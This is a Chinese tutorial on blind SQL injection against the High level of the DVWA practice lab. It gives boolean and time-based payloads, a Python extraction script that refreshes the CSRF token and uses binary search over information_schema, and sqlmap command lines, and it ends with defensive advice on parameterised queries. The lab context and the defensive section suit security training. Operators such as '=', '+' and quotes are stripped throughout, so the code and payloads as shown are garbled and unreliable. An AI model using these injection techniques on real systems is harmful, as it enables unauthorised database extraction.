DVWA High盲注链路打通:CSRF令牌、会话传参与sqlmap自动化 打开 High 级别盲注页面时很多人会有一段发懵的经历明明 Low 级别时输入1 AND 11#有反应、1 AND 12#没反应逻辑清清楚楚换成 High 之后同样的盲注载荷贴进去页面只安静地回一句结果BP 抓包一看请求体里还多了个不认识的user_token直接重放还失败于是怀疑是不是这关防住了。其实没防住只是攻击链路上多了三道门槛请求方式从 URL 参数变成了 POST 表单、输入被塞进会话里再取出来用、每次提交都要带一个一次性校验令牌。这三样东西单独看都不难叠在一起就足以让习惯改 URL 就完事的流程彻底卡死。这篇写的就是把这条链路重新打通的全过程从源码差异看清 High 到底改了什么到手工构造布尔盲注的最小可用载荷再到把自动化工具接上去之后的参数组合和掉线问题最后聊聊从防守方视角这段代码该怎么写。所有内容都基于本地自建的练习环境和授权范围内的学习别往任何非授权的目标上套。1. High 级别到底动了哪几刀1.1 三个级别放一起对照改动一目了然想搞清楚 High 为什么难打最省时间的办法不是硬试载荷而是把三级源码拉出来横着看一遍。Low 级别的实现最朴素GET 取id直接拼进SELECT first_name, last_name FROM users WHERE user_id $id;数据库报错原样回显页面还告诉你查出来几行。Medium 换了 POST加了个下拉框还对输入做了转义——但查询里user_id是数字型、没加引号转义函数对数字型注入完全使不上劲等于白加。High 的变化不是加了一层过滤而是改了交付方式。它的执行流程大致是这样页面上有个 ID 输入框你提交后值先被写进$_SESSION[id]真正执行查询的时候是从会话里把这个值取出来再拼进 SQL末尾还补了个LIMIT 1。另外表单里多了个隐藏字段user_token服务端会拿它和会话里的令牌做比对不匹配就直接踢回首页。对比项LowMediumHigh传参方式GET 查询串POST 表单POST 会话存储是否带引号带字符型不带数字型带字符型是否有转义无有但无效视版本而定多数未做有效处理额外校验无无CSRF 令牌比对结果集限制无无LIMIT 1回显内容存在/不存在存在/不存在存在/不存在这张表里最值得盯的是最后三行。LIMIT 1直接掐死了基于 UNION 的取数思路——即使你把联合查询塞进去盲注页面本来也不回显任何字段内容只会告诉你这个 ID 存在或者这个 ID 不存在。换句话说High 级别不是把注入点堵死了而是把你手上唯一的反馈通道压缩成了一个布尔位。1.2 令牌校验才是真正的拦路虎很多人第一次在 High 上失败不是因为载荷写错而是因为令牌过期。DVWA 的这套令牌机制大致逻辑是页面渲染时生成一个随机串写进$_SESSION[session_token]同时作为隐藏域塞进表单你提交时服务端调checkToken()比对不相等就重定向。这带来两个非常现实的后果。第一你不能再用复制一个请求、改改参数、反复重放的方式手工测了——第二个请求开始令牌就对不上服务端直接把你踢走你看到的响应是首页 HTML 而不是盲注结果很容易误判成注入无效。第二所有自动化脚本和工具都必须做到每次请求前重新拉一次页面、抽一次令牌否则跑不了几轮就断。至于LIMIT 1它的影响比想象中小。布尔盲注的载荷本质是让WHERE条件真或假是否LIMIT 1都不影响真假判断时间盲注同理SLEEP挂在一行上照样会延迟。真正被它废掉的是 UNION 型思路而 UNION 在盲注页面本来就没用武之地。所以对付 High正确的姿势是老老实实做布尔或时间别在联合查询上浪费时间。提示不同版本的这个练习环境在 High 级别的实现细节略有差异有的版本对id做了stripslashes有的连LIMIT 1的位置都不太一样。动手前先打开对应的源码文件读一遍$query那一行比照着教程硬套载荷靠谱得多。2. 手工把 High 的盲注链路跑通2.1 先确定请求形态别急着写载荷我习惯的第一步永远不是构造载荷而是让一个绝对正常的请求跑通。打开浏览器开发者工具的 Network 面板或者挂上抓包工具在 High 的盲注页面输入1点提交看这次 POST 到底带了什么。正常情况下你会看到三类内容请求体里有id1、SubmitSubmit、user_token一串乱码Cookie 里有PHPSESSID和securityhigh响应里出现该 ID 存在于数据库中这类固定文案。把这两句固定文案抄下来后面所有判断都靠字符串包含来判定。这里有个特别容易被忽略的点securityhigh是走 Cookie 的。如果你只用抓包工具改了 POST 体却没带上这个 Cookie或者 Cookie 被清掉那请求实际走的是 Low 的逻辑你会得到一个看起来很成功但结果对不上的假象。我第一次踩这个坑时用它测出来的库名和实际库名差了十万八千里排查了半小时才发现是安全级别掉了。确认正常请求通畅之后第二步是验证可控性把id改成1看页面是否从存在变成不存在。如果变了说明单引号确实进了 SQL 语句注入点成立如果没变多半是这个版本做了转义需要换思路或者确认版本。2.2 令牌的抽取与自动续期手工测的时候令牌可以每次从页面源码里手动复制。页面里大概长这样input typehidden nameuser_token valuexxxxxxxx /用正则name[\]user_token[\]\svalue[\]([^\])就能抓出来。麻烦的是它一次性有效你复制一次只能用一个请求。所以只要超过三个请求我就直接转脚本。下面这段是我自己常用的最小骨架逻辑很直白每次注入前 GET 一次页面拿新令牌再 POST 出去靠响应里有没有那句固定文案判断真假。import re import requests BASE http://127.0.0.1/dvwa TARGET BASE /vulnerabilities/sqli_blind/ s requests.Session() s.cookies.set(security, high) # 登录部分略确保 session 里已有有效 PHPSESSID TOKEN_RE re.compile(rname[\]user_token[\]\svalue[\]([^\])) def fresh_token(): r s.get(TARGET, timeout10) m TOKEN_RE.search(r.text) return m.group(1) if m else None def probe(payload): token fresh_token() data {id: payload, Submit: Submit, user_token: token} r s.post(TARGET, datadata, timeout15) return exists in r.text.lower() print(probe(1)) # True print(probe(1 AND 11#)) # True print(probe(1 AND 12#)) # False这段代码有两个地方要按你的实际环境改一是TOKEN_RE不同版本页面的引号和空格写法不一样先用print打一段 HTML 出来对着调二是成功判定用的字符串DVWA 英文版是exists如果环境是中文语言包就换成对应的中文关键词。#会被requests自动编码成%23这一点不用你操心。如果你习惯用-- -做注释注意中间那个空格必须保留编码后是--%20-少一个空格整条语句就废了。2.3 布尔载荷怎么写才不踩坑High 的查询语句末尾是WHERE user_id $id LIMIT 1;。你的载荷插在$id的位置所以必须先把前面的单引号闭合再用注释符把后面的 LIMIT 1;整段吃掉。一个标准形态是这样的1 AND SUBSTRING(database(),1,1)d#。拆开看1闭合原引号AND接条件SUBSTRING(database(),1,1)取当前库名第一个字符d做等值比较#把余下的引号和LIMIT 1全部注释掉。整条语句变成合法 SQL且结果只有真或假两种。这里有个细节特别值得说为什么用SUBSTRING而不是LEFT两个都能干这活但SUBSTRING(str, pos, len)在逐位推进的时候只需要改一个参数写循环更顺手LEFT每次都要重新构造前缀长度反而啰嗦。至于ASCII()加二分法那是提速手段第 2.4 节再讲。判断长度用LENGTH()1 AND LENGTH(database())5#大于 5 返回真就继续往上加大于 20 返回假就说明长度在 6 到 20 之间再二分收敛。还有一个隐蔽的坑原查询是user_id ...如果users表里恰好没有user_id1这一行那你1 AND ...的整个表达式对每一行都算假布尔位永远返回不存在你会误以为载荷写错。稳妥的做法是先用一个确定存在的 IDDVWA 默认数据里 1 到 5 都有作为基底或者干脆用1 OR 11#先确认一下链路通不通。2.4 逐字符提取的真实节奏与提速有了布尔位取数据的流程就是纯体力活确定长度、逐位取字符、拼接。假设库名是 4 个字符你要跑 4 次位置 × 每次最多 95 次字符比较可打印 ASCII 32 到 126最坏情况接近 400 个请求。每个请求还要先 GET 拿令牌实际开销翻倍。所以真正的实战脚本必须上二分法。把字符比较改成ASCII 值大于某个中位数吗搜索空间从 95 次压到 7 次左右。加上BINARY或者直接用ASCII()可以规避大小写不敏感的排序规则问题——比较在默认的不区分大小写排序规则下d和D会被判等取出来的字符大小写可能是错的。def extract(sql_expr, max_len32): out for i in range(1, max_len 1): lo, hi 31, 127 while lo 1 hi: mid (lo hi) // 2 payload f1 AND ASCII(SUBSTRING(({sql_expr}),{i},1)){mid}# if probe(payload): lo mid else: hi mid if hi 32: break out chr(hi) return out print(extract(SELECT database())) print(extract(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()))这段里最值得抄的是那个SELECT ... FROM information_schema的写法。取表名、列名都靠information_schemaGROUP_CONCAT把多行拼成一个字符串避免多次往返。注意GROUP_CONCAT默认长度上限是 1024 字节表特别多的时候会被截断需要的话在载荷里先SET SESSION group_concat_max_len...不过在这类练习环境里基本用不上。实测下来一个库名加几张表名二分法脚本大约两三分钟能跑完比手工点快得多也不容易因为手抖写错位置。真正耗时的反而是令牌那一步 GET如果环境在本地、响应很快整体感受还算流畅环境在远端的话建议给每个请求加固定间隔别让并发把会话搞乱。3. 把自动化工具接上去的完整参数组合3.1 会话、表单、令牌三件套缺一不可用工具跑 High失败率高的根本原因几乎都是只给了 URL。这个页面既不认 GET 参数又要校验令牌还依赖会话里存的输入所以必须把三个维度都告诉工具用--cookie带会话和安全级别用--data描述 POST 表单用--csrf-token和--csrf-url让工具自己去刷新令牌。python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ \ --cookiePHPSESSID你的会话值;securityhigh \ --dataid1SubmitSubmit \ --csrf-tokenuser_token \ --csrf-urlhttp://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ \ -p id \ --dbmsmysql \ --batch --threads1 \ --dbs逐个参数说说为什么要这么写。--data的存在会自动把请求方式切成 POST这是 High 的硬要求同时它会让工具默认去测所有表单字段所以必须用-p id锁死注入点否则它可能拿Submit或user_token当注入参数去试白白浪费时间还可能触发校验失败。--csrf-url指向那个渲染表单的页面工具每次发请求前会先去 GET 它、用--csrf-token指定的字段名抽出令牌值再填进 POST 体。这一步是 High 能不能跑起来的分水岭。--threads1是我强制加的多线程下多个请求会同时去抢同一个会话令牌先发的那个成功、后发的那个被判失效表现出来就是跑几轮之后突然全部失败。--dbmsmysql属于省时间的小技巧明确告诉工具后端是什么能跳过后端指纹识别那一大段试探。3.2 跑起来之后怎么读输出工具正常跑起来时前几行会先确认注入点类型。如果它报的是布尔盲注或时间盲注说明路子对了如果报参数不可注入八成是上面三个参数里有一个没生效。这时候别急着重跑先加-v 3把每个请求的完整报文打出来人工核对一下POST 体里令牌是不是每次都变了Cookie 里security是不是high响应是不是那句固定的存在/不存在我遇到过一次很典型的情况--dbs跑了很久最后吐出几个莫名其妙的库名和手工验证的结果完全对不上。开-v 3一看请求里的security值是low——原来我从浏览器复制的 Cookie 串里带的是低级别的值而--cookie参数整体覆盖了会话工具就一直按 Low 的逻辑在跑注入点确实存在但走的是另一条代码路径。确认注入类型之后取数据的节奏就是等。布尔盲注在本地环境通常几分钟出库名取表名、列名、字段值一层层往下整体十几分钟很正常。时间盲注更慢因为每个判断都要真等几秒。3.3 中途掉线的几种典型表现跑 High 最烦的不是慢是跑到一半突然全错。表现通常是前几十个请求正常然后连续返回同一个结果最后工具放弃。原因基本集中在三处。第一种是令牌没刷新成功——比如页面结构和你填的字段名对不上工具抽到空值服务端校验失败把你重定向到首页而首页返回的 HTML 里没有存在/不存在的文案工具就判定为假。第二种是会话被复用打乱多线程或者多个工具同时用一个PHPSESSID互相把对方的$_SESSION[id]覆盖掉。第三种是环境的会话过期时间很短跑长任务时中途失效。对应的处理办法令牌问题就换--csrf-url指向更准确的页面或者临时用脚本代理会话问题就单线程、单工具、独占一个会话过期问题就在工具参数里控制请求频率或者干脆换脚本自己控制重连。注意每次调整参数重跑之前习惯性加上--flush-session。工具会把上一次的探测结果缓存在本地不清掉的话它可能直接复用旧的错误结论让你误以为新参数也没用。4. 时间盲注在 High 下的取值策略4.1 为什么有时候必须放弃布尔布尔盲注的前提是你有一个稳定的真假反馈。绝大多数情况下没问题但有两种场景会失效一是页面本身对不存在和出错返回同一套内容你分不清是真假还是异常二是环境前面挂了频率限制请求密集时会被限速或临时拦截真假反馈被噪声淹没。这时候时间盲注是唯一的出路。它的载荷形态是1 AND IF(SUBSTRING(database(),1,1)d,SLEEP(3),0)#逻辑条件为真就睡 3 秒为假立刻返回。判断依据从看响应内容变成掐表看耗时。SLEEP()和BENCHMARK()我一般选前者。SLEEP的延迟是秒级的、可控的BENCHMARK靠循环消耗 CPU延迟受机器性能影响极大同一台机器上压力不同结果能差好几倍完全没法做阈值判断。唯一要注意的是某些环境下SLEEP被禁用那就只能退回BENCHMARK并且把判定阈值放宽到实测基线的三倍以上。4.2 阈值怎么定才不会被网络抖动骗时间盲注最容易被误判。你在本地环境设 3 秒延迟正常请求 20 毫秒返回差距巨大随便判都准。但如果目标响应本来就要一两秒或者链路有抖动3 秒和 1 秒的差别就不那么明显了。我的做法是三步。第一步测基线连续发 5 个不存在的 ID记录每次耗时取最大值加 1 秒作为慢的下界。第二步测参照发一个确定的真条件比如1 AND SLEEP(3)#确认它确实慢了大约 3 秒。第三步才正式跑并且对每个判断做一次重试——如果第一次判定为慢立刻再发一次同样的载荷两次都慢才算真。延迟值也别设太大。5 秒的延迟看着保险但一次完整的取数要几百个判断全跑下来一小时都打不住。本地环境 2 到 3 秒足够远端环境视基线抖动情况加到 4 到 5 秒。工具里对应的参数是--time-sec配合--techniqueT只跑时间盲注能省掉它在前面的布尔试探上花的时间。另一个容易被忽略的点是LIMIT 1对时间盲注的影响。因为末尾限制了只返回一行SLEEP在匹配到第一行之后可能就不再对后续行求值了。这意味着即使你用了OR让条件对多行成立实际也只会睡一次延迟时间不会翻倍。这反而是好事——延迟值是稳定的不会因为表里数据多少而变化。5. 换个位置看这段代码它到底错在哪5.1 从防守方角度重写这一小段站在写代码的人这边看High 级别的实现其实做了不少看起来像防护的动作换成 POST 了、加了令牌了、限制了返回行数了。但这三件事没有一件触及根本问题——用户输入最终还是被当成 SQL 语法的一部分拼进去了。真正的修法只有一条让输入永远是数据永远不参与语法解析。用预处理语句重写大概是这样$stmt $db-prepare(SELECT first_name, last_name FROM users WHERE user_id ? LIMIT 1;); $stmt-bind_param(i, $id); $stmt-execute();关键在bind_param(i, ...)里的那个i。它把参数按整数绑定你传什么都只会被当成一个数字1 AND 11#会被解析成数字1加上一堆无法转换的字符最终按1处理或者直接报类型错误语法结构完全不受影响。这才是把注入点彻底消除而不是让它变难。除了预处理还有两层值得加。第一层是入口处的类型约束这个参数业务上就是整数 ID那就在进入业务逻辑之前用类型判断或白名单挡掉一切非数字输入越早越好。第二层是数据库权限收敛连接数据库的账号只给SELECT不给FILE、不给跨库读即便真被注入能拿的东西也有限。这两层不替代预处理但能在预处理被漏掉的地方兜底。还有一个常见误区值得点出来很多人以为关掉错误回显就算防住了盲注。恰恰相反盲注之所以叫盲注就是因为攻击者根本不需要错误信息一个布尔位或者一段延迟就够了。把报错藏起来只会让调试变难对攻击者几乎没有影响。5.2 在自己的项目里怎么提前发现同类问题这类问题在真实项目里不会以明显的注入点形态出现往往是某个拼接 SQL 的旧代码、某个动态排序字段、某个ORDER BY后面直接接用户参数的地方。我查这类问题时通常按三条线走。第一条是搜代码。搜字符串拼接关键字比如WHERE 、fSELECT、ORDER BY 把结果逐条看凡是变量进到了引号内部的位置全部标红。这条线效率最高几分钟能扫完一个中等规模的仓库。第二条是扫参数。把所有接收外部输入的入口列出来——查询串、表单体、请求头、Cookie、文件上传的元信息——然后反向查每个参数最终流到了哪里。这条线慢但能抓到那些经过多层封装的隐蔽路径。第三条是主动验证。在测试环境对每个可疑参数塞一组对照值一个正常值、一个单引号、一个AND 11、一个AND 12看四次的响应有没有系统性差异。有差异就说明注入成立不管是回显型还是盲注型。这一步的关键是对照单看一次响应永远看不出问题。至于LIMIT 1、令牌校验、POST 化这些东西在防守上不是没用但它们的作用是提高攻击成本不是消除漏洞。把它们当成纵深防御里的一层可以当成主力就危险了。真正的主力永远只有参数化查询这一条。最后分享一个我在练习中养成的小习惯每打完一关把这一关的源码打开对着自己写的载荷逐字符对一遍看它到底是怎么被拼进 SQL 的。这个动作花不了两分钟但比刷十关更能建立直觉——下次看到一段陌生代码你能大概猜出哪个位置会出问题而不是靠工具盲扫。